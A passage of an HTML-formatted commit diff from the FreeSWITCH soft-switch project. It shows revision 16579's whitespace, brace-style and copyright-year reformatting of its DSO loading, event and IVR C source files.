</span><span class="cx">                 *err = switch_mprintf("dll sym error [%ul]\n", error);
</span><span class="cx">         }
</span><del>-        return (void *)(intptr_t)addr;
</del><ins>+        return (void *) (intptr_t) addr;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -80,16 +84,18 @@
</span><span class="cx">
</span><span class="cx"> #include <dlfcn.h>
</span><span class="cx">
</span><del>-void switch_dso_destroy(switch_dso_lib_t *lib) {
</del><ins>+void switch_dso_destroy(switch_dso_lib_t *lib)
+{
</ins><span class="cx">         if (lib && *lib) {
</span><span class="cx">                 dlclose(*lib);
</span><span class="cx">                 *lib = NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_dso_lib_t switch_dso_open(const char *path, int global, char **err) {
</del><ins>+switch_dso_lib_t switch_dso_open(const char *path, int global, char **err)
+{
</ins><span class="cx">         void *lib;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (global) {
</span><span class="cx">                 lib = dlopen(path, RTLD_NOW | RTLD_GLOBAL);
</span><span class="cx">         } else {
</span><span class="lines">@@ -108,15 +114,17 @@
</span><span class="cx">         return lib;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         void *func = dlsym(lib, sym);
</span><span class="cx">         if (!func) {
</span><span class="cx">                 *err = strdup(dlerror());
</span><span class="cx">         }
</span><del>-        return (switch_dso_func_t)(intptr_t)func;
</del><ins>+        return (switch_dso_func_t) (intptr_t) func;
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         void *addr = dlsym(lib, sym);
</span><span class="cx">         if (!addr) {
</span><span class="cx">                 *err = strdup(dlerror());
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_eventc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_event.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_event.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_event.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -193,15 +193,15 @@
</span><span class="cx"> static int switch_events_match(switch_event_t *event, switch_event_node_t *node)
</span><span class="cx"> {
</span><span class="cx">         int match = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (node->event_id == SWITCH_EVENT_ALL) {
</span><span class="cx">                 match++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!node->subclass) {
</span><span class="cx">                         return match;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (match || event->event_id == node->event_id) {
</span><span class="cx">
</span><span class="cx">                 if (event->subclass_name && node->subclass) {
</span><span class="lines">@@ -349,7 +349,7 @@
</span><span class="cx">                                         node->callback(*event);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (e == SWITCH_EVENT_ALL) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -412,20 +412,20 @@
</span><span class="cx">                         subclass->bind = 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_event_reserve_subclass_detailed(const char *owner, const char *subclass_name)
</span><span class="cx"> {
</span><span class="cx">         switch_event_subclass_t *subclass;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(RUNTIME_POOL != NULL);
</span><span class="cx">         switch_assert(CUSTOM_HASH != NULL);
</span><span class="cx">
</span><span class="cx">         if ((subclass = switch_core_hash_find(CUSTOM_HASH, subclass_name))) {
</span><span class="cx">                 /* a listener reserved it for us, now we can lock it so nobody else can have it */
</span><del>-                if (subclass->bind) {
</del><ins>+                if (subclass->bind) {
</ins><span class="cx">                         subclass->bind = 0;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="lines">@@ -436,7 +436,7 @@
</span><span class="cx">
</span><span class="cx">         subclass->owner = DUP(owner);
</span><span class="cx">         subclass->name = DUP(subclass_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_hash_insert(CUSTOM_HASH, subclass->name, subclass);
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -473,7 +473,7 @@
</span><span class="cx">         int last = 0;
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>- void *val;
</del><ins>+        void *val;
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(EVENT_QUEUE_MUTEX);
</span><span class="cx">         SYSTEM_RUNNING = 0;
</span><span class="lines">@@ -498,10 +498,10 @@
</span><span class="cx">                 }
</span><span class="cx">                 last = THREAD_COUNT;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x < SOFT_MAX_DISPATCH; x++) {
</span><span class="cx">                 void *pop = NULL;
</span><del>- switch_event_t *event = NULL;
</del><ins>+                switch_event_t *event = NULL;
</ins><span class="cx">                 switch_status_t st;
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping dispatch thread %d\n", x);
</span><span class="lines">@@ -510,12 +510,12 @@
</span><span class="cx">                 while (switch_queue_trypop(EVENT_DISPATCH_QUEUE[x], &pop) == SWITCH_STATUS_SUCCESS && pop) {
</span><span class="cx">                         event = (switch_event_t *) pop;
</span><span class="cx">                         switch_event_destroy(&event);
</span><del>- }
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         for (x = 0; x < NUMBER_OF_QUEUES; x++) {
</span><span class="cx">                 void *pop = NULL;
</span><del>- switch_event_t *event = NULL;
</del><ins>+                switch_event_t *event = NULL;
</ins><span class="cx">                 switch_status_t st;
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping queue thread %d\n", x);
</span><span class="lines">@@ -524,9 +524,9 @@
</span><span class="cx">                 while (switch_queue_trypop(EVENT_QUEUE[x], &pop) == SWITCH_STATUS_SUCCESS && pop) {
</span><span class="cx">                         event = (switch_event_t *) pop;
</span><span class="cx">                         switch_event_destroy(&event);
</span><del>- }
</del><ins>+                }
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hi = switch_hash_first(NULL, CUSTOM_HASH); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_event_subclass_t *subclass;
</span><span class="cx">                 switch_hash_this(hi, &var, NULL, &val);
</span><span class="lines">@@ -634,7 +634,6 @@
</span><span class="cx">         if ((event_id != SWITCH_EVENT_CLONE && event_id != SWITCH_EVENT_CUSTOM) && subclass_name) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef SWITCH_EVENT_RECYCLE
</span><span class="cx">         if (switch_queue_trypop(EVENT_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</span><span class="cx">                 *event = (switch_event_t *) pop;
</span><span class="lines">@@ -680,12 +679,13 @@
</span><span class="cx">
</span><span class="cx">         switch_assert(event);
</span><span class="cx">
</span><del>-        if (!header_name) return NULL;
-        
</del><ins>+        if (!header_name)
+                return NULL;
+
</ins><span class="cx">         hash = switch_ci_hashfunc_default(header_name, &hlen);
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hp = event->headers; hp; hp = hp->next) {
</span><del>-                if ((!hp->hash || hash == hp->hash) && !strcasecmp(hp->name, header_name) ) {
</del><ins>+                if ((!hp->hash || hash == hp->hash) && !strcasecmp(hp->name, header_name)) {
</ins><span class="cx">                         return hp->value;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -709,7 +709,7 @@
</span><span class="cx">         while (tp) {
</span><span class="cx">                 hp = tp;
</span><span class="cx">                 tp = tp->next;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x++;
</span><span class="cx">                 switch_assert(x < 1000);
</span><span class="cx">                 hash = switch_ci_hashfunc_default(header_name, &hlen);
</span><span class="lines">@@ -768,7 +768,7 @@
</span><span class="cx">         header->name = DUP(header_name);
</span><span class="cx">         header->value = data;
</span><span class="cx">         header->hash = switch_ci_hashfunc_default(header->name, &hlen);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (stack == SWITCH_STACK_TOP) {
</span><span class="cx">                 header->next = event->headers;
</span><span class="cx">                 event->headers = header;
</span><span class="lines">@@ -807,8 +807,9 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_event_set_subclass_name(switch_event_t *event, const char *subclass_name)
</span><span class="cx"> {
</span><del>-        if (!event || !subclass_name) return SWITCH_STATUS_GENERR;
-        
</del><ins>+        if (!event || !subclass_name)
+                return SWITCH_STATUS_GENERR;
+
</ins><span class="cx">         switch_safe_free(event->subclass_name);
</span><span class="cx">         event->subclass_name = DUP(subclass_name);
</span><span class="cx">         switch_event_del_header(event, "Event-Subclass");
</span><span class="lines">@@ -1030,23 +1031,23 @@
</span><span class="cx"> static switch_xml_t add_xml_header(switch_xml_t xml, char *name, char *value, int offset)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t header = switch_xml_add_child_d(xml, name, offset);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (header) {
</span><span class="cx">                 switch_size_t encode_len = (strlen(value) * 3) + 1;
</span><span class="cx">                 char *encode_buf = malloc(encode_len);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_assert(encode_buf);
</span><del>-
</del><ins>+
</ins><span class="cx">                 memset(encode_buf, 0, encode_len);
</span><span class="cx">                 switch_url_encode((char *) value, encode_buf, encode_len);
</span><span class="cx">                 switch_xml_set_txt_d(header, encode_buf);
</span><span class="cx">                 free(encode_buf);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return header;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_event_xmlize(switch_event_t *event, const char *fmt, ...)
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_event_xmlize(switch_event_t *event, const char *fmt,...)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_header_t *hp;
</span><span class="cx">         char *data = NULL, *body = NULL;
</span><span class="lines">@@ -1170,19 +1171,19 @@
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Event queue is full!\n");
</span><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         *event = NULL;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
</ins><span class="cx">                                                                                                                         switch_event_callback_t callback, void *user_data, switch_event_node_t **node)
</span><span class="cx"> {
</span><span class="cx">         switch_event_node_t *event_node;
</span><span class="lines">@@ -1206,7 +1207,7 @@
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (event <= SWITCH_EVENT_ALL) {
</span><span class="cx">                 switch_zmalloc(event_node, sizeof(*event_node));
</span><span class="cx">                 switch_mutex_lock(BLOCK);
</span><span class="lines">@@ -1238,8 +1239,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_event_bind(const char *id, switch_event_types_t event, const char *subclass_name,
-                                                                                                 switch_event_callback_t callback, void *user_data)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_event_bind(const char *id, switch_event_types_t event, const char *subclass_name,
+                                                                                                 switch_event_callback_t callback, void *user_data)
</ins><span class="cx"> {
</span><span class="cx">         return switch_event_bind_removable(id, event, subclass_name, callback, user_data, NULL);
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -41,7 +41,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_sound_test(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">
</span><del>-        switch_codec_implementation_t imp = {0};
</del><ins>+        switch_codec_implementation_t imp = { 0 };
</ins><span class="cx">         switch_codec_t codec = { 0 };
</span><span class="cx">         int16_t peak = 0;
</span><span class="cx">         int16_t *data;
</span><span class="lines">@@ -54,9 +54,9 @@
</span><span class="cx">         int period_avg = 0, global_avg = 0;
</span><span class="cx">         int avg = 0;
</span><span class="cx">         int period_len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_get_read_impl(session, &imp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         period_len = imp.actual_samples_per_second / imp.samples_per_packet;
</span><span class="cx">
</span><span class="cx">         if (switch_core_codec_init(&codec,
</span><span class="lines">@@ -64,17 +64,17 @@
</span><span class="cx">                                                          NULL,
</span><span class="cx">                                                          imp.samples_per_second,
</span><span class="cx">                                                          imp.microseconds_per_packet / 1000,
</span><del>-                                                         imp.number_of_channels,
-                                                         SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</del><ins>+                                                         imp.number_of_channels,
+                                                         SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</ins><span class="cx">                                                          switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
</ins><span class="cx">                                                  imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
-        while(switch_channel_ready(channel)) {
</del><ins>+
+        while (switch_channel_ready(channel)) {
</ins><span class="cx">                 status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -88,35 +88,35 @@
</span><span class="cx">                 peak = 0;
</span><span class="cx">                 avg = 0;
</span><span class="cx">                 for (i = 0; i < read_frame->samples; i++) {
</span><del>-                        const int16_t s = (int16_t)abs(data[i]);
</del><ins>+                        const int16_t s = (int16_t) abs(data[i]);
</ins><span class="cx">                         if (s > peak) {
</span><span class="cx">                                 peak = s;
</span><span class="cx">                         }
</span><span class="cx">                         avg += s;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 avg /= read_frame->samples;
</span><span class="cx">
</span><span class="cx">                 period_sum += peak;
</span><span class="cx">                 global_sum += peak;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 global_total++;
</span><span class="cx">                 period_total++;
</span><del>-                
-                period_avg = (int)(period_sum / period_total);
</del><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CONSOLE,
-                                                 "\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n", avg, peak, period_avg, global_avg);
-                
-                if (period_total >= period_len) {                        
-                        global_avg = (int)(global_sum / global_total);
</del><ins>+                period_avg = (int) (period_sum / period_total);
+
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CONSOLE,
+                                                 "\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n", avg, peak, period_avg, global_avg);
+
+                if (period_total >= period_len) {
+                        global_avg = (int) (global_sum / global_total);
</ins><span class="cx">                         period_total = 0;
</span><span class="cx">                         period_sum = 0;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_core_codec_destroy(&codec);
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -134,20 +134,20 @@
</span><span class="cx">
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         unsigned char *abuf = NULL;
</span><del>-        switch_codec_implementation_t imp = {0};
</del><ins>+        switch_codec_implementation_t imp = { 0 };
</ins><span class="cx">         switch_codec_t codec = { 0 };
</span><span class="cx">         int sval = 0;
</span><span class="cx">         const char *var;
</span><span class="cx">
</span><span class="cx">         /*
</span><del>-        if (!switch_channel_test_flag(channel, CF_OUTBOUND) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
-                !switch_channel_media_ready(channel) && !switch_channel_test_flag(channel, CF_SERVICE)) {
-                if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot establish media.\n");
-                        return SWITCH_STATUS_FALSE;
-                }
-        }
-        */
</del><ins>+         if (!switch_channel_test_flag(channel, CF_OUTBOUND) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
+         !switch_channel_media_ready(channel) && !switch_channel_test_flag(channel, CF_SERVICE)) {
+         if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
+         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot establish media.\n");
+         return SWITCH_STATUS_FALSE;
+         }
+         }
+         */
</ins><span class="cx">
</span><span class="cx">         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                 switch_yield(ms * 1000);
</span><span class="lines">@@ -156,24 +156,24 @@
</span><span class="cx">
</span><span class="cx">         if (ms > 100 && (var = switch_channel_get_variable(channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE)) && (sval = atoi(var))) {
</span><span class="cx">                 switch_core_session_get_read_impl(session, &imp);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_init(&codec,
</span><span class="cx">                                                                  "L16",
</span><span class="cx">                                                                  NULL,
</span><span class="cx">                                                                  imp.samples_per_second,
</span><span class="cx">                                                                  imp.microseconds_per_packet / 1000,
</span><del>-                                                                 imp.number_of_channels,
-                                                                 SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</del><ins>+                                                                 imp.number_of_channels,
+                                                                 SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</ins><span class="cx">                                                                  switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
</ins><span class="cx">                                                          imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
</ins><span class="cx">                                                  imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 write_frame.codec = &codec;
</span><span class="cx">                 switch_zmalloc(abuf, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span><span class="cx">                 write_frame.data = abuf;
</span><span class="lines">@@ -195,7 +195,7 @@
</span><span class="cx">         if (sync) {
</span><span class="cx">                 switch_channel_audio_sync(channel);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ms) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -209,7 +209,7 @@
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_channel_test_flag(channel, CF_BREAK)) {
</span><span class="cx">                         switch_channel_clear_flag(channel, CF_BREAK);
</span><span class="cx">                         status = SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -219,14 +219,14 @@
</span><span class="cx">                 if (now > done || left <= 0) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 switch_ivr_parse_all_events(session);
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (args && (args->input_callback || args->buf || args->buflen)) {
</span><span class="cx">                         switch_dtmf_t dtmf;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*
</span><span class="cx">                          dtmf handler function you can hook up to be executed when a digit is dialed during playback
</span><span class="cx">                          if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
</span><span class="lines">@@ -244,7 +244,7 @@
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (args->input_callback) {
</span><span class="cx">                                 switch_event_t *event = NULL;
</span><span class="cx">
</span><span class="lines">@@ -272,7 +272,7 @@
</span><span class="cx">                         switch_core_session_write_frame(session, &cng_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (write_frame.codec) {
</span><span class="cx">                 switch_core_codec_destroy(&codec);
</span><span class="cx">         }
</span><span class="lines">@@ -569,7 +569,7 @@
</span><span class="cx">                                         switch_core_session_rwunlock(b_session);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_clear_flag(channel, CF_BROADCAST);
</span><span class="cx">                 }
</span><span class="cx">         } else if (cmd_hash == CMD_UNICAST) {
</span><span class="lines">@@ -647,7 +647,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_message_t *message;
</span><span class="cx">         int i = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (switch_core_session_dequeue_message(session, &message) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 i++;
</span><span class="cx">                 switch_core_session_receive_message(session, message);
</span><span class="lines">@@ -664,7 +664,8 @@
</span><span class="cx">
</span><span class="cx">         switch_ivr_parse_all_messages(session);
</span><span class="cx">
</span><del>-        while (switch_ivr_parse_next_event(session) == SWITCH_STATUS_SUCCESS) x++;
</del><ins>+        while (switch_ivr_parse_next_event(session) == SWITCH_STATUS_SUCCESS)
+                x++;
</ins><span class="cx">
</span><span class="cx">         if (x) {
</span><span class="cx">                 switch_ivr_sleep(session, 0, SWITCH_TRUE, NULL);
</span><span class="lines">@@ -687,9 +688,9 @@
</span><span class="cx">         const char *to;
</span><span class="cx">         int timeout = 0;
</span><span class="cx">         time_t expires = 0;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_test_flag(channel, CF_CONTROLLED)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot park channels that are under control already.\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -698,7 +699,7 @@
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_get_state(channel) == CS_RESET) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((to = switch_channel_get_variable(channel, "park_timeout"))) {
</span><span class="cx">                 if ((timeout = atoi(to)) < 0) {
</span><span class="cx">                         timeout = 0;
</span><span class="lines">@@ -718,13 +719,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_CONTROLLED) && switch_channel_test_flag(channel, CF_PARK)) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!rate && switch_channel_media_ready(channel)) {
</span><span class="cx">                         switch_core_session_get_read_impl(session, &read_impl);
</span><span class="cx">                         rate = read_impl.actual_samples_per_second;
</span><span class="cx">                         bpf = read_impl.decoded_bytes_per_packet;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (rate) {
</span><span class="cx">                         status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, stream_id);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -782,8 +783,7 @@
</span><span class="cx">                                                         tstatus = switch_core_codec_decode(read_codec,
</span><span class="cx">                                                                                                                          &conninfo->read_codec,
</span><span class="cx">                                                                                                                          read_frame->data,
</span><del>-                                                                                                                         read_frame->datalen,
-                                                                                                                         read_impl.actual_samples_per_second, decoded, &dlen, &rate, &flags);
</del><ins>+                                                                                                                         read_frame->datalen, read_impl.actual_samples_per_second, decoded, &dlen, &rate, &flags);
</ins><span class="cx">                                                 }
</span><span class="cx">                                                 switch (tstatus) {
</span><span class="cx">                                                 case SWITCH_STATUS_NOOP:
</span><span class="lines">@@ -855,7 +855,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout, uint32_t abs_timeout)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout,
+                                                                                                                                 uint32_t abs_timeout)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -954,31 +955,31 @@
</span><span class="cx">         uint32_t eff_timeout = 0;
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         unsigned char *abuf = NULL;
</span><del>-        switch_codec_implementation_t imp = {0};
</del><ins>+        switch_codec_implementation_t imp = { 0 };
</ins><span class="cx">         switch_codec_t codec = { 0 };
</span><span class="cx">         int sval = 0;
</span><span class="cx">         const char *var;
</span><span class="cx">
</span><span class="cx">         if ((var = switch_channel_get_variable(channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE)) && (sval = atoi(var))) {
</span><span class="cx">                 switch_core_session_get_read_impl(session, &imp);
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_init(&codec,
</span><span class="cx">                                                                  "L16",
</span><span class="cx">                                                                  NULL,
</span><span class="cx">                                                                  imp.samples_per_second,
</span><span class="cx">                                                                  imp.microseconds_per_packet / 1000,
</span><del>-                                                                 imp.number_of_channels,
-                                                                 SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</del><ins>+                                                                 imp.number_of_channels,
+                                                                 SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
